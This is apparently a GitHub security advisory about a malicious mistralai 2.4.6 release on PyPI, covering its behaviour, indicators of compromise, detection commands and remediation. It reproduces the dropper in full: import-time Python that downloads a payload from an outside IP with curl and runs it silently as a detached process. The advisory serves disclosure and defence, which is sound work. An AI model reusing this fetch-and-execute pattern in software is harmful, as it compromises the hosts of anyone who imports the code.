OSV 1.4.0 · github-reviewed · 修改于 2026-05-19 01:55
发布时间
2026-05-19 01:55
GitHub 审查时间
2026-05-19 01:55
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/05/GHSA-wx9m-wx4f-4cmg/GHSA-wx9m-wx4f-4cmg.json
The mistralai PyPI package version 2.4.6 contains a malicious dropper that executes on import on Linux. No v2.4.6 tag, commit, or release workflow run exists in this repository, the legitimate latest version before the upload was 2.4.5, and the upload bypassed this repository's normal release pipeline (which uses PyPI Trusted Publishing).
The mistralai PyPI project is currently quarantined.
mistralai==2.4.6 on PyPI.Versions 2.4.5 and earlier are not known to be affected.
A function named _run_background_task was added to src/mistralai/client/__init__.py and called at module-load time. Reproduced from the public report in #523:
import subprocess as _sub
import os as _os
def _run_background_task():
if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"):
return
_os.environ["MISTRAL_INIT"] = "1"
_url = "https://83.142.209.194/transformers.pyz"
_dest = "/tmp/transformers.pyz"
try:
if not _os.path.exists(_dest):
_sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)
if _os.path.exists(_dest):
_sub.Popen(
[_sys.executable, _dest],
stdout=_sub.DEVNULL, stderr=_sub.DEVNULL,
start_new_session=True, env=_os.environ.copy()
)
except:
pass
_run_background_task()
On Linux only, the function:
MISTRAL_INIT is already set in the environment.MISTRAL_INIT=1 so the spawned child does not re-trigger the dropper if it imports mistralai.https://83.142.209.194/transformers.pyz to /tmp/transformers.pyz with curl -k -L -s (TLS verification disabled, 15 s timeout). Skips the download if the file is already present.transformers.pyz with the current Python interpreter () as a detached process via , with stdout and stderr discarded and any exception silently swallowed.sys.executablePopen(..., start_new_session=True)On non-Linux platforms the function returns immediately and does nothing.
The trigger is import mistralai, not package installation. pip install of a wheel does not execute package code; for an sdist it runs PEP 517 build hooks but those are in setup.py / pyproject.toml, not in __init__.py — so pip install, pip download, and pip wheel do not invoke this dropper.
The contents of transformers.pyz are not in the package and were not analyzed in this advisory. The behavior of the second-stage payload on the host is therefore unknown.
Any Linux environment that imported mistralai==2.4.6 should be treated as potentially compromised pending forensic review. Rotate every credential reachable from the importing process and review host and cloud audit logs for activity from approximately 2026-05-12 00:05 UTC onward (per the timing reported in #523).
Installed version:
pip show mistralai | grep -i ^version
Dependency files and lockfiles:
grep -n -E 'mistralai\b.*2\.4\.6' \
requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile Pipfile.lock 2>/dev/null
Dropped file on disk:
ls -la /tmp/transformers.pyz
The presence of /tmp/transformers.pyz on a host that imported mistralai==2.4.6 indicates the download step ran successfully. Combined with absence of MISTRAL_INIT in the host's process environment history, it does not by itself confirm the second-stage executed; conversely its absence does not rule out execution if the file was cleaned up.
mistralai to 2.4.5 or earlier. While the PyPI project is quarantined, install from this repository at a known-good tag, e.g. git+https://github.com/mistralai/[email protected].All IOCs below come from the public report in #523.
/tmp/transformers.pyzsys.executable) running /tmp/transformers.pyz detached from the parent's process group, with stdout/stderr to /dev/nullMISTRAL_INIT=183[.]142[.]209[.]194 from curl (no TLS verification)_run_background_task in src/mistralai/client/__init__.py6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b2.4.6